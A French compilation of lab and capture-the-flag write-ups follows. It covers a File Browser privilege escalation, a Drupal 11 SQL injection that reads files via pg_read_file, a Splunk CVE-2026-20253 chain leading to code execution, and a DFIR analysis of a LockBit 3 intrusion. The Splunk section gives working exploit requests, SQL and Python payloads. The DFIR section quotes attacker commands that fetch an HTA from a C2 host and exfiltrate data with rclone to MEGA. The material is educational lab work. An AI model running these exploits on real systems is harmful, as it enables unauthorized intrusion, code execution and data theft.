ℹ️ La liste /home/user/ était vide et n’a pas été nécessaire pour la récupération du flag.

Explication des commandes API

Conclusion

La chaîne était :

Énumération réseau
   │
   ▼
Identification de File Browser 2.60.0
   │
   ▼
Inscription publique vulnérable (CVE-2026-32760)
   │
   ▼
Compte admin File Browser
   │
   ▼
Changement de scope vers "."
   │
   ▼
Lecture de /home/local.txt

Le flag a été récupéré sans obtenir de shell Linux ni de privilège root système — l’élévation de privilèges s’est produite entièrement au niveau de l’application web.

Leçons retenues

• Une vulnérabilité de type contrôle d’accès défectueux ne nécessite pas toujours un exploit sophistiqué : ici, une simple inscription publique suffisait à obtenir un compte admin, à cause d’une mauvaise configuration des permissions par défaut.
• Le scope applicatif (/srv) peut masquer l’étendue réelle d’un accès admin obtenu — il faut penser à tester une élévation du scope lui-même une fois les droits admin confirmés, pas seulement s’arrêter à perm.admin: true.
• Un 403 Forbidden sur une ressource sensible (/root/) est une preuve utile des limites de l’élévation : documenter explicitement ce qui n’a pas été compromis est aussi important que ce qui l’a été.
• Une réponse HTTP générique à 200 pour des URLs aléatoires (faux positif Gobuster) rappelle qu’il faut toujours valider le contenu réel d’une réponse plutôt que de se fier uniquement au code de statut HTTP.

Références

1. GitHub Advisory GHSA-5gg9-5g7w-hm73
2. NVD — CVE-2026-32760
3. File Browser v2.60.0 — auth.go
4. File Browser v2.60.0 — http.go

Cible : 176.16.163.94 (Inkwell, site Drupal 11 / PostgreSQL) Objectif : partir de zéro, identifier les processus exécutés et exploiter une faille publique pour accéder à des fichiers arbitraires sur le serveur Résultat : ✅ injection SQL confirmée, lecture arbitraire de fichiers via pg_read_file, flag récupéré (1/1, 50/50 points)

Périmètre

Cible fournie dans le lab : 176.16.163.94 (Inkwell, site Drupal). Les commandes ci-dessous sont limitées à cette instance de lab. Le but indiqué est de confirmer la vulnérabilité publique, d’identifier les services et processus utiles, puis de vérifier l’accès aux fichiers de drapeaux.

1. Reconnaissance réseau et identification des services

nmap -A 176.16.163.94

Résultat observé :

Host is up (0.00021s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.2p1 Ubuntu 2ubuntu3.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.66
|_http-title: Home | Inkwell
|_http-generator: Drupal 11 (https://www.drupal.org)
|_http-server-header: Apache/2.4.66 (Ubuntu)
| http-robots.txt: 33 disallowed entries (15 shown)
| /core/ /profiles/ /README.md
| /composer/Metapackage/README.txt /composer/Plugin/ProjectMessage/README.md
| /composer/Plugin/Scaffold/README.md /composer/Plugin/VendorHardening/README.txt
| /composer/Template/README.txt /modules/README.txt /sites/README.txt
|_/themes/README.txt /admin/ /comment/reply/ /filter/tips /node/add/

Explication : nmap -A active plusieurs types de détection : identification des versions de services, scripts Nmap par défaut, traceroute et estimation du système d’exploitation. Le scan a trouvé deux ports TCP ouverts parmi les ports examinés : SSH sur 22/tcp et HTTP sur 80/tcp.

Le serveur web annonce Apache 2.4.66 sur Ubuntu. Le titre Home | Inkwell et l’en-tête Drupal identifient le site comme Drupal 11. La liste de robots.txt révèle plusieurs chemins habituels de Drupal, mais leur présence n’est pas en soi une preuve de vulnérabilité.

ℹ️ Ce scan ne détermine pas la version mineure exacte de Drupal ni le moteur de base de données.

2. Préparation du PoC

git clone https://github.com/7h30th3r0n3/CVE-2026-9082-Drupal-PoC.git
cd CVE-2026-9082-Drupal-PoC
python3 -m venv .venv
source .venv/bin/activate
pip install requests rich

Résultat observé : le dépôt a été cloné. L’installation avec pip a ensuite affiché des tentatives répétées de connexion à pypi.org, avec l’erreur :

Failed to establish a new connection: [Errno 101] Network is unreachable

⚠️ Malgré cet incident, le PoC a été exécuté par la suite et a produit les résultats présentés ci-dessous. La sortie ne précise pas si les modules Python étaient déjà présents, avaient été installés par un autre moyen, ou si la tentative pip a finalement abouti.

Explication : git clone récupère le code du PoC. python3 -m venv .venv crée un environnement Python isolé, et source .venv/bin/activate l’active. pip install requests rich tente d’installer les dépendances du script depuis PyPI. L’erreur réseau concerne l’accès de Kali à PyPI ; elle ne renseigne pas sur la connectivité vers Inkwell ni sur sa vulnérabilité.

💡 Le dépôt public du PoC est disponible ici : CVE-2026-9082 Drupal PoC. L’avis éditeur correspondant est SA-CORE-2026-004, qui indique que la vulnérabilité SQL concerne les sites Drupal utilisant PostgreSQL et peut être exploitée par des utilisateurs anonymes.

3. Vérification de la vulnérabilité

python3 CVE-2026-9082.py -u http://176.16.163.94 --check

Résultat observé :

JSON:API endpoint found and active
Found node types: node/article, node/page
Probing node/article...
Boolean-based probe (OR TRUE vs OR FALSE)...
VULNERABLE — boolean-based confirmed
OR TRUE  → 1 results
OR FALSE → 0 results
Resource type : node/article

Explication : l’option --check demande au PoC de rechercher JSON:API et d’effectuer un test booléen. Le script a trouvé les types de ressources node/article et node/page. Sur node/article, les deux variantes du test ont produit des nombres de résultats différents : un pour la condition toujours vraie (OR TRUE) et zéro pour la condition toujours fausse (OR FALSE). Le PoC interprète cette différence comme une confirmation de l’injection SQL.

ℹ️ Le résultat établit que le vecteur testé fonctionne sur l’endpoint JSON:API exposé par cette instance. Il ne signifie pas, à lui seul, que le compte SQL dispose de privilèges d’administrateur du système Linux.

4. Identification de la base de données

Version PostgreSQL

python3 CVE-2026-9082.py -u http://176.16.163.94 --version

PostgreSQL version: PostgreSQL 18.4 (Ubuntu 18.4-0ubuntu0.26.04.1) on x86_64-pc-linux-gnu,
compiled by gcc (Ubuntu 15.2.0-16ubuntu1) 15.2.0, 64-bit

Explication : l’option --version utilise le canal d’injection confirmé pour extraire la chaîne de version renvoyée par PostgreSQL. Ce résultat établit que la cible utilise PostgreSQL et satisfait donc le prérequis de base de données mentionné dans l’avis Drupal pour CVE-2026-9082.

Utilisateur SQL et base de données

python3 CVE-2026-9082.py -u http://176.16.163.94 --dbinfo

Database user: drupal
Database name: drupal

Explication : --dbinfo extrait les informations de contexte de la connexion à la base. Le rôle PostgreSQL utilisé par l’application est drupal, et le nom de la base est aussi drupal.

ℹ️ Le rôle SQL drupal n’est pas automatiquement l’utilisateur Linux root : les permissions du système de fichiers restent déterminantes pour les fonctions de lecture de fichiers PostgreSQL.

Requête manuelle sur l’utilisateur SQL

python3 CVE-2026-9082.py -u http://176.16.163.94 --query "SELECT current_user"

Result: drupal

Explication : --query transmet une requête SQL personnalisée au mécanisme d’extraction du PoC. current_user renvoie le rôle PostgreSQL actif pour la requête. Le résultat drupal confirme l’information obtenue avec --dbinfo.

5. Lecture des fichiers du lab

Lecture de /home/local.txt

python3 CVE-2026-9082.py -u http://176.16.163.94 --query "SELECT pg_read_file('/home/local.txt')"

Result: flag_b37e2d04_21dc_427a_b60c_ac2ca8611faf

Explication : la fonction PostgreSQL pg_read_file tente de lire un fichier accessible au processus serveur de base de données. Dans cette instance, la lecture de /home/local.txt a réussi et a renvoyé le drapeau local. Ce résultat démontre un accès en lecture à ce chemin via la base de données.

6. Commandes de diagnostic des processus à lancer

⚠️ Les commandes suivantes ont été proposées comme prochaines étapes, mais aucun résultat d’exécution n’apparaît dans les sorties reçues. Elles ne doivent donc pas être considérées comme déjà réussies.

Identifier le processus qui exécute la requête PostgreSQL

python3 CVE-2026-9082.py -u http://176.16.163.94 --query "SELECT pg_read_file('/proc/self/comm')"

/proc/self/comm contient le nom du processus correspondant au processus qui effectue la lecture. Comme la fonction est exécutée côté PostgreSQL, /proc/self devrait désigner le processus PostgreSQL qui traite la requête, et non directement le processus Apache.

Lire le statut de ce processus

python3 CVE-2026-9082.py -u http://176.16.163.94 --query "SELECT pg_read_file('/proc/self/status')"

Ce fichier virtuel de Linux peut donner des informations de statut et d’identifiants d’utilisateur/groupe du processus visible. L’accès et le contenu dépendent des permissions et de l’isolation de la cible.

Tenter d’énumérer les PID visibles

python3 CVE-2026-9082.py -u http://176.16.163.94 --query "SELECT string_agg(pid, ',' ORDER BY pid::int) FROM pg_ls_dir('/proc') AS p(pid) WHERE pid ~ '^[0-9]+$'"

Cette requête tente de lister les noms numériques présents dans /proc, puis de les agréger en une chaîne de PID. Elle peut échouer si le rôle PostgreSQL ne peut pas appeler pg_ls_dir, si les permissions du système l’interdisent, ou si la méthode d’extraction du PoC gère mal la requête.

Lire le nom d’un processus choisi

Après avoir obtenu un PID, remplacer PID par sa valeur numérique :

python3 CVE-2026-9082.py -u http://176.16.163.94 --query "SELECT pg_read_file('/proc/PID/comm')"

Cela tente de lire le nom du processus correspondant. Une erreur ou un résultat vide doit être interprété avec prudence : le processus peut être masqué par l’isolation de /proc, inaccessible au compte de base de données ou absent au moment de la requête.

7. État récapitulatif

Lien logique entre les étapes

La reconnaissance Nmap constitue le point de départ : elle confirme que l’hôte répond et identifie le service HTTP Apache. Les en-têtes et la page Inkwell indiquent ensuite que l’application utilise Drupal 11, ce qui permet de choisir un test correspondant à cette plateforme.

Le contrôle --check vérifie alors si JSON:API est actif et si le test booléen révèle une injection SQL. Cette étape est nécessaire avant toute extraction : elle confirme que les requêtes du PoC atteignent un chemin vulnérable sans authentification.

Les options --version et --dbinfo, puis SELECT current_user, précisent le contexte de base de données. La détection de PostgreSQL 18.4 confirme le prérequis technique signalé dans l’avis Drupal. L’utilisateur drupal identifie le rôle SQL effectif, mais ne signifie pas que ce rôle possède les droits système de root.

Enfin, la requête pg_read_file('/home/local.txt') s’appuie sur l’injection SQL confirmée pour tester l’impact au niveau du système de fichiers. Le résultat a livré le drapeau local et l’interface du lab a ensuite affiché 1/1 drapeau capturé et 50/50 points. Les commandes proposées pour consulter /proc constituent une étape d’énumération distincte : elles pourraient aider à identifier les processus visibles par PostgreSQL, mais leur exécution n’est pas confirmée dans les éléments reçus.

Leçons retenues

• Un endpoint JSON:API exposé sans authentification sur une application CMS peut constituer une surface d’attaque aussi critique qu’un formulaire web classique — tester systématiquement ces endpoints lors d’une reconnaissance Drupal/Wordpress modernes.
• L’identification du rôle SQL effectif (current_user) ne doit jamais être confondue avec un accès système complet : un rôle PostgreSQL non privilégié peut malgré tout lire des fichiers arbitraires via pg_read_file si les permissions du système de fichiers le permettent.
• Documenter explicitement les commandes proposées mais non exécutées (section 6) plutôt que de les mélanger avec des résultats confirmés est une bonne pratique qui évite toute confusion sur l’état réel de l’investigation.
• Une erreur réseau sur un outil annexe (ici, pip ne pouvant pas atteindre PyPI) ne doit pas être confondue avec un problème de connectivité vers la cible — toujours distinguer la chaîne d’outils locale de l’environnement testé.

Références

1. Avis officiel Drupal — SA-CORE-2026-004 : applicabilité aux installations PostgreSQL et mises à jour correctives
2. CVE-2026-9082 Drupal PoC : dépôt du PoC public utilisé pour les vérifications --check, --version, --dbinfo et les requêtes personnalisées

Serveur Splunk du lab : 176.16.163.115 Kali utilisé pour le lab : 176.16.163.114 Objectif : exploiter le port web exposé de Splunk Enterprise pour exécuter du code sur le serveur, sans authentification Résultat : ✅ RCE confirmée sous le compte splunk, flag récupéré dans /home/local.txt

Résultat

Le lab a permis d’obtenir une exécution de code à distance sur le serveur Splunk sous le compte système splunk, puis de lire le drapeau situé dans /home/local.txt.

flag_bb38f7b6_46a7_4e6d_b233_074d92b464da

ℹ️ Le fichier /root/proof.txt n’était pas lisible par le compte splunk et a renvoyé Permission denied. Le défi indiquait un seul drapeau ; celui de /home/local.txt est le résultat final.

⚠️ Avertissement : ces étapes décrivent exclusivement la machine temporaire du lab Loghouse, pour laquelle le défi autorisait explicitement l’exploitation. Ne pas les reproduire sur un système tiers.

1. Contexte et périmètre

La plateforme présentait un défi « Loghouse », difficulté Basic, démarré et limité dans le temps. L’objectif annoncé était d’obtenir une exécution de code sur un serveur Splunk exposé et d’y récupérer un drapeau.

La vulnérabilité CVE-2026-20253 porte sur un endpoint du service PostgreSQL sidecar de Splunk Enterprise qui permet, sans authentification valide, des opérations de création ou troncation de fichiers. L’avis Splunk indique les versions concernées comme Splunk Enterprise 10.0.0–10.0.6 et 10.2.0–10.2.3 ; les versions corrigées sont 10.0.7 et 10.2.4 ou ultérieures. Avis Splunk

2. Reconnaissance réseau

nmap -A 176.16.163.115

Extrait utile de la sortie :

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 10.2p1 Ubuntu 2ubuntu3.2
5432/tcp open  postgresql PostgreSQL DB 17.0 - 17.8
8000/tcp open  http       Splunkd httpd
8089/tcp open  ssl/http   Splunkd httpd

Les ports 8000 et 8089 répondaient donc comme des services Splunk ; PostgreSQL était également joignable sur 5432.

ℹ️ La version PostgreSQL affichée par Nmap est une identification du service, pas la version de Splunk. Le scan, à lui seul, ne confirmait donc pas la vulnérabilité.

Une requête d’information à l’API Splunk sur le port 8089 a renvoyé :

curl -sk --max-time 5 \
  'https://176.16.163.115:8089/services/server/info?output_mode=json'

{"messages":[{"type":"ERROR","text":"Unauthorized"}]}

Cela établissait que cet endpoint exigeait une authentification ; ce n’était ni une preuve ni une réfutation de CVE-2026-20253.

💡 Une tentative d’utiliser le script Nmap pgsql-info a échoué parce que le fichier n’était pas présent dans l’installation Kali. La commande ls /usr/share/nmap/scripts/pgsql* n’a trouvé que pgsql-brute.nse ; ce dernier n’a pas été utilisé.

3. Vérification de l’endpoint vulnérable

Le chemin de récupération PostgreSQL relayé par Splunk Web a été testé sur le port 8000 :

curl -i --max-time 10 \
  -X POST 'http://176.16.163.115:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup' \
  -H 'Authorization: Basic Og==' \
  -H 'Content-Type: application/json' \
  --data '{"database":"search_metadata","backupFile":"ctf-probe"}'

Réponse :

HTTP/1.1 200 OK
...
{"backupFile":"ctf-probe","database":"search_metadata","id":"b3c298b1-72f8-4a0a-b511-d158ef5554ce","state":"BackupPending"}

Basic Og== correspond à des identifiants Basic vides (:). L’acceptation de la requête avec 200 OK et un identifiant d’opération indiquait que le point de récupération était accessible sans identifiants valides. La requête de sonde a pu créer un fichier vide sur la cible.

4. Préparation d’un PostgreSQL de retour sur Kali

La chaîne publiée utilise une connexion sortante du serveur Splunk vers une base contrôlée par l’opérateur.

ip -4 -br addr
ip route get 176.16.163.115

Sortie utile :

eth0 UP 176.16.163.114/16
176.16.163.115 dev eth0 src 176.16.163.114

PostgreSQL devait être installé sur Kali pour recevoir depuis Splunk la connexion sortante utilisée par l’étape de sauvegarde :

sudo apt update
sudo apt install -y postgresql
pg_lsclusters

sudo apt update actualise l’index local des paquets. sudo apt install -y postgresql installe le serveur PostgreSQL ainsi que ses outils ; -y accepte automatiquement la confirmation d’installation. pg_lsclusters liste les clusters PostgreSQL gérés par les outils Debian/Kali, avec leur version, leur nom, leur port, leur état et leurs chemins de données et de journaux.

PostgreSQL a ensuite été configuré pour écouter uniquement sur cette interface et accepter le compte du lab uniquement depuis la cible :

PGVER=$(pg_lsclusters --no-header | awk 'NR==1 {print $1}')
CONF="/etc/postgresql/$PGVER/main/postgresql.conf"
HBA="/etc/postgresql/$PGVER/main/pg_hba.conf"

sudo sed -i -E \
  "s/^#?[[:space:]]*listen_addresses[[:space:]]*=.*/listen_addresses = '176.16.163.114'/" \
  "$CONF"

echo 'host test test 176.16.163.115/32 trust' | sudo tee -a "$HBA"
sudo pg_ctlcluster "$PGVER" main restart
sudo ss -lntp | grep ':5432'

Sortie observée :

host test test 176.16.163.115/32 trust
LISTEN ... 176.16.163.114:5432 ... users:("postgres",...)

La règle pg_hba.conf limite l’authentification sans mot de passe à la base test, au rôle test et à la source 176.16.163.115/32. Le compte et la base ont été créés :

sudo -u postgres psql -v ON_ERROR_STOP=1 <<'SQL'
CREATE ROLE test LOGIN;
CREATE DATABASE test OWNER test;
SQL

CREATE ROLE
CREATE DATABASE

5. Construction du dump et de la fonction d’écriture

Le principe technique était de préparer dans la base locale une fonction PostgreSQL appelée pendant la restauration sur Splunk. Cette fonction encode le script Python en contenu binaire puis utilise lo_export pour écrire ce contenu dans le fichier Python exécuté périodiquement par l’installation Splunk.

Les droits d’exécution nécessaires aux fonctions de gros objets ont été accordés au rôle test :

sudo -u postgres psql -d test -v ON_ERROR_STOP=1 <<'SQL'
GRANT EXECUTE ON FUNCTION lo_from_bytea(oid, bytea) TO test;
GRANT EXECUTE ON FUNCTION lo_export(oid, text) TO test;
SQL

Le premier payload servait uniquement à confirmer le contexte d’exécution en écrivant le résultat de id dans un fichier statique de Splunk :

OUT='/opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py'
PAYLOAD='import os; os.system("id > /opt/splunk/share/splunk/search_mrsparkle/exposed/ctf-proof.txt")'
HEX=$(printf '%s' "$PAYLOAD" | od -An -v -tx1 | tr -d ' \n')

Le SQL local créait une fonction avec un effet de bord déclenché par l’insertion dans une table :

sudo -u postgres psql -d test -v ON_ERROR_STOP=1 <<SQL
SET ROLE test;
DROP TABLE IF EXISTS public.ctf_poc;
DROP FUNCTION IF EXISTS public.ctf_write(integer);

CREATE FUNCTION public.ctf_write(i integer) RETURNS boolean
LANGUAGE plpgsql VOLATILE SECURITY DEFINER AS \$\$
DECLARE l oid;
BEGIN
  l := lo_from_bytea(0, '\\x${HEX}'::bytea);
  PERFORM lo_export(l, '${OUT}');
  RETURN true;
END
\$\$;

CREATE TABLE public.ctf_poc (i integer CHECK (public.ctf_write(i)));
INSERT INTO public.ctf_poc VALUES (1);
SQL

Dans ce bloc, HEX contient les octets du script Python ; OUT est le chemin du script côté Splunk qui doit être remplacé. Le CHECK déclenche la fonction lors de l’insertion/restauration de la ligne. lo_export écrit alors le contenu contrôlé dans le fichier cible.

6. Sauvegarde contrôlée par Splunk

L’endpoint backup a été utilisé pour demander au serveur Splunk d’exécuter son pg_dump vers la base locale de Kali.

B=$(curl -sS --max-time 15 \
  -X POST 'http://176.16.163.115:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup' \
  -H 'Authorization: Basic dGVzdDo=' \
  -H 'Content-Type: application/json' \
  --data '{"database":"hostaddr=176.16.163.114 port=5432","backupFile":"/tmp/ctf-poc.dump"}')

echo "$B"
BID=$(printf '%s' "$B" | jq -r '.id')

dGVzdDo= est l’encodage Base64 de test:. La sortie initiale contenait :

{"backupFile":"/tmp/ctf-poc.dump","database":"hostaddr=176.16.163.114 port=5432","id":"79d6653f-1f04-4b0f-b86f-3490747413d0","state":"BackupPending"}

Le statut a été interrogé avec l’identifiant renvoyé :

curl -sS \
  "http://176.16.163.115:8000/en-US/splunkd/__raw/v1/postgres/recovery/status/$BID"

{"backupFile":"/tmp/ctf-poc.dump","database":"hostaddr=176.16.163.114 port=5432","id":"79d6653f-1f04-4b0f-b86f-3490747413d0","state":"BackupComplete"}

La sauvegarde a donc réussi. Elle a déposé sur le Splunk un dump contenant la fonction et les objets préparés dans la base test sur Kali.

7. Restauration et preuve d’exécution

La requête de restauration a demandé au Splunk de recharger le dump dans sa base locale template1, en utilisant le fichier .pgpass de l’installation :

R=$(curl -sS --max-time 20 \
  -X POST 'http://176.16.163.115:8000/en-US/splunkd/__raw/v1/postgres/recovery/restore' \
  -H 'Authorization: Basic cG9zdGdyZXNfYWRtaW46' \
  -H 'Content-Type: application/json' \
  --data '{"database":"dbname=template1 passfile=/opt/splunk/var/packages/data/postgres/.pgpass","backupFile":"/tmp/ctf-poc.dump"}')

echo "$R"
RID=$(printf '%s' "$R" | jq -r '.id')

cG9zdGdyZXNfYWRtaW46 correspond à postgres_admin:. L’opération a renvoyé un identifiant d’état RestorePending, puis RestoreFailed.

⚠️ Point important : malgré ce statut final, l’effet utile s’était produit avant l’échec de la restauration : l’interface statique contenait le marqueur créé par le script.

Les fichiers placés dans $SPLUNK_HOME/share/splunk/search_mrsparkle/exposed sont servis par Splunk Web sous /static, d’où cette vérification :

curl -iL --max-time 10 \
  'http://176.16.163.115:8000/static/ctf-proof.txt'

Corps de la réponse :

uid=999(splunk) gid=986(splunk) groups=986(splunk)

Cela a confirmé l’exécution de commandes sur la machine cible sous l’utilisateur splunk. La chaîne d’attaque et l’emplacement du script choisi sont également décrits dans l’analyse technique watchTowr.

8. Récupération du drapeau

Une première tentative de lecture de /local.txt a échoué parce que ce chemin n’existait pas :

Erreur de lecture : [Errno 2] No such file or directory: '/local.txt'

L’indice de la plateforme donnait les chemins corrects : /home/local.txt et /root/proof.txt. Le script a ensuite été remplacé par un payload lisant ces deux chemins et écrivant leurs contenus ou erreurs dans le fichier statique ctf-results.txt.

paths = ["/home/local.txt", "/root/proof.txt"]
out = "/opt/splunk/share/splunk/search_mrsparkle/exposed/ctf-results.txt"

with open(out, "w") as dest:
    for path in paths:
        dest.write(f"=== {path} ===\n")
        try:
            with open(path, "r", errors="replace") as src:
                dest.write(src.read(4096))
        except OSError as e:
            dest.write(f"{type(e).__name__}: {e}")
        dest.write("\n\n")

💡 Le payload a été converti en hexadécimal et encodé dans la même fonction PostgreSQL. Il fallait ensuite refaire les deux opérations — sauvegarde puis restauration — avec un nouveau nom de dump, pour qu’un nouveau script soit écrit et exécuté.

curl -iL --max-time 10 \
  "http://176.16.163.115:8000/static/ctf-results.txt?t=$(date +%s)"

Résultat obtenu :

=== /home/local.txt ===
flag_bb38f7b6_46a7_4e6d_b233_074d92b464da

=== /root/proof.txt ===
PermissionError: [Errno 13] Permission denied: '/root/proof.txt'

Le drapeau a donc été lu depuis /home/local.txt. L’échec sur /root/proof.txt correspond aux permissions du compte splunk ; il n’était pas nécessaire d’obtenir les privilèges root pour valider le drapeau unique du défi.

9. Erreurs et points de diagnostic importants

10. Conclusion

La séquence complète reliait les étapes ainsi : l’exposition de Splunk Web a permis de tester le endpoint de récupération sans authentification ; le serveur Splunk a ensuite été amené à sauvegarder une base fournie par Kali ; la restauration de ce dump a déclenché une écriture arbitraire ; le script Python écrit dans un fichier exécuté par Splunk a confirmé l’exécution sous splunk ; enfin, un payload adapté aux chemins d’indice a lu /home/local.txt et révélé le drapeau.

ℹ️ En environnement réel, la recommandation de Splunk est de mettre à niveau vers une version corrigée ; si cela n’est pas immédiatement possible, son avis décrit une mitigation de désactivation du service PostgreSQL sidecar, en tenant compte des fonctionnalités qui en dépendent.

Leçons retenues

• Un service “sidecar” (ici PostgreSQL embarqué dans Splunk) peut devenir un vecteur de RCE même si l’application principale semble correctement protégée — toujours cartographier les services auxiliaires exposés, pas seulement l’interface principale.
• Une opération qui échoue à son état final (RestoreFailed) peut malgré tout avoir produit un effet exploitable avant l’échec — vérifier systématiquement l’effet concret observable plutôt que de se fier uniquement au statut retourné par l’API.
• La technique lo_from_bytea + lo_export (gros objets PostgreSQL) est un vecteur classique d’écriture de fichier arbitraire quand un rôle SQL a les droits d’exécution sur ces fonctions — une primitive à connaître pour toute évaluation PostgreSQL.
• Toujours invalider le cache HTTP (?t=$(date +%s)) lors de la vérification itérative d’un payload modifié, pour ne pas confondre un ancien résultat mis en cache avec le résultat du nouveau payload.

Références

1. Splunk — avis de sécurité SVD-2026-0603, CVE-2026-20253 : description, versions touchées, correctifs et mitigation officielle
2. CVE.org — fiche CVE-2026-20253 : description du défaut d’authentification sur le PostgreSQL sidecar et versions signalées
3. watchTowr Labs — analyse technique de CVE-2026-20253 : description du relais par Splunk Web, des endpoints de sauvegarde/restauration et de la démonstration d’exécution de code
4. NIST NVD — CVE-2026-20253 : référence complémentaire et résumé de la vulnérabilité
5. Splunk Community — service de fichiers statiques : référence indiquant que les fichiers du répertoire search_mrsparkle/exposed sont servis sous /static par Splunk Web

Date de l’incident : 26 avril 2026 Vulnérabilité initiale : CVE-2023-22527 (Atlassian Confluence, SSTI) Ransomware final : LockBit 3 (LockBit Black) Résultat : ✅ chaîne d’attaque complète reconstituée, de l’accès initial au chiffrement

1. Résumé exécutif

Suite à une attaque ransomware détectée chez Corp Enterprise, une investigation DFIR a été menée via le SIEM Splunk et l’analyse de binaires sur VirusTotal. L’attaquant a exploité une vulnérabilité dans Atlassian Confluence pour obtenir un accès initial, puis a progressivement compromis l’environnement jusqu’au déploiement du ransomware LockBit 3.

Chronologie résumée

2. Commandes Splunk et réponses détaillées

Q1 — Service exploité pour l’accès initial

Réponse : Confluence (Atlassian)

index=* 172.16.92.160 | table _time, source, dest_port, action, app

index=* source="/opt/splunk/logs/confluence.log" | table _time, _raw | sort _time | tail 25

Explication de la commande : la première commande recherche tous les événements contenant l’IP de l’attaquant (172.16.92.160) dans tous les index Splunk. table affiche les colonnes importantes : l’heure, la source, le port destination, l’action et l’application. La deuxième commande filtre spécifiquement les logs du fichier confluence.log pour voir le contenu brut des requêtes HTTP.

Résultat observé : tous les 45 événements provenaient du fichier /opt/splunk/logs/confluence.log. Les logs HTTP révélaient :

• Des requêtes POST vers /template/aui/text-inline.vm
• L’user-agent python-requests/2.32.3 (script automatisé)
• Le port 8090 (port par défaut de Confluence)

L’endpoint /template/aui/text-inline.vm est exactement celui exploité par la vulnérabilité CVE-2023-22527 (SSTI — Server Side Template Injection). L’attaquant a utilisé un script Python automatisé pour exploiter cette faille et exécuter du code arbitraire sur le serveur.

Q2 — Nom du malware dropper déployé

Réponse : VhdjSUH2l.hta

index=* "mshta" "172.16.92.160" | table _time, _raw | sort _time | head 20

Explication de la commande : on recherche les événements contenant à la fois mshta (Microsoft HTML Application Host) et l’IP de l’attaquant. mshta.exe est un outil Windows légitime capable d’exécuter des fichiers .hta (HTML Application), très souvent abusé par les attaquants car il peut exécuter du code VBScript/JavaScript sans être bloqué par les politiques d’exécution PowerShell.

Résultat observé : l’événement Sysmon (EventCode=1 - ProcessCreate) a révélé la ligne de commande exacte :

mshta http://172.16.92.160:3030/VhdjSUH2l.hta

Tomcat9.exe (le processus Confluence) a lancé mshta.exe qui a téléchargé et exécuté le fichier .hta depuis le serveur C2 de l’attaquant sur le port 3030. Ce fichier HTA contenait ensuite un payload PowerShell encodé en Base64 qui établissait une connexion C2 sur le port 4343.

Q3 — Nom original de AD_SIEM.exe

Réponse : AnyDesk.exe

index=* "WRKS.corp.me" "AD_SIEM" | table _time, _raw | sort _time | head 20

Explication de la commande : on recherche tous les événements sur la machine WRKS.corp.me (le poste de travail compromis) qui mentionnent AD_SIEM. Cette recherche permet de retrouver les logs PowerShell ou Sysmon qui enregistrent les actions liées à ce fichier.

Résultat observé : les logs PowerShell (Windows PowerShell Event Log) ont révélé la commande exacte exécutée :

powershell -c (New-Object Net.WebClient).DownloadFile('http://download.anydesk.com/AnyDesk.exe', 'AD_SIEM.exe')

L’attaquant a téléchargé AnyDesk (logiciel d’accès à distance légitime) depuis le site officiel et l’a renommé en AD_SIEM.exe pour le camoufler comme un outil de monitoring du SIEM.

💡 Cette technique s’appelle « Living off the Land » — utiliser des outils légitimes pour éviter la détection. AnyDesk permettait à l’attaquant d’avoir un accès persistant et discret à la machine.

Q4 — Chemin du dossier exfiltré avec rclone

Réponse : c:\Secret_Projects

index=* "rclone.exe" | table _time, _raw | sort _time | head 20

Explication de la commande : on recherche tous les événements mentionnant rclone.exe. Rclone est un outil légitime de synchronisation de fichiers vers des services cloud (MEGA, Google Drive, etc.), fréquemment utilisé par les attaquants pour l’exfiltration de données car il chiffre le transfert et ressemble à du trafic légitime.

Résultat observé : l’événement Sysmon ProcessCreate a capturé la ligne de commande complète :

"C:\temp\rclone.exe" --config=rclone.conf copy c:\Secret_Projects mega:FTP3

L’attaquant a copié le dossier c:\Secret_Projects vers un bucket MEGA nommé FTP3, en utilisant un fichier de configuration rclone.conf (qui contenait les credentials MEGA). Le transfert a eu lieu à 21:15 sous le compte CORP\admin, après avoir utilisé PDQ Deploy pour se propager sur le réseau.

Q5 — Nom du binaire LockBit sur le poste infecté

Réponse : LB3.exe

index=* "C:\\temp" earliest="04/25/2026:21:00:00" | table _time, _raw | sort _time | head 30

Explication de la commande : on recherche tous les événements mentionnant le dossier C:\temp après 21h00 (heure à laquelle l’attaquant a commencé à déployer ses outils). Ce dossier était utilisé comme staging area par l’attaquant pour stocker tous ses outils malveillants.

Résultat observé : les logs Sysmon ont montré la création et l’exécution de LB3.exe :

c:\temp\LB3.exe

LB3.exe a été déployé via PDQ Deploy (outil de déploiement logiciel légitime) à 21:29 par CORP\administrator. Après son exécution, le ransomware a tenté de s’authentifier sur d’autres machines du réseau (EventCode 4625 — échecs de connexion), chiffré les fichiers avec l’extension .aykCzdDAx et laissé des notes de rançon aykCzdDAx.README.txt.

3. Analyse VirusTotal

Q6 — Vhash de AD_SIEM.exe

Réponse : 0760666c055d75651"z

Méthode utilisée : upload de AD_SIEM.exe sur virustotal.com, puis consultation de l’onglet Details. Le Vhash est un hash de similarité visuelle basé sur la structure du PE (Portable Executable) qui permet de regrouper des fichiers similaires même s’ils ont des hashs cryptographiques différents.

Informations clés trouvées :

Q7 — AD_SIEM.exe est-il malveillant ?

Réponse : A. Non

Explication : AD_SIEM.exe n’est pas détecté comme malveillant par aucun des 70+ moteurs antivirus de VirusTotal (0/94 détections). C’est un binaire AnyDesk légitime, signé numériquement par AnyDesk Software GmbH avec un certificat valide DigiCert. Sa malveillance réside uniquement dans son usage par l’attaquant (renommage et déploiement non autorisé), et non dans le binaire lui-même.

💡 Cette technique s’appelle « Bring Your Own Tool » (BYOT).

Q8 — Vhash de LB3.exe

Réponse : 01506666151d7d7567z61z7nzbfz

Méthode utilisée : recherche du hash MD5 40D3C027A477D1F08ABE80770504EF2D (trouvé dans Splunk) sur virustotal.com, puis consultation de l’onglet Details.

Informations clés trouvées :

Q9 — Label officiel Microsoft sur VirusTotal

Réponse : Ransom:Win32/Lockbit.AK!ibt

Explication : le format du label Microsoft est <Catégorie>:<Plateforme>/<Famille>.<Variante>!<Suffixe> :

Ce label confirme qu’il s’agit d’une variante personnalisée de LockBit 3 (aussi appelé LockBit Black), une des familles de ransomware les plus actives depuis 2022.

Q10 — Domaine lié au malware

Réponse : A. peaceprotectorsupp.ma

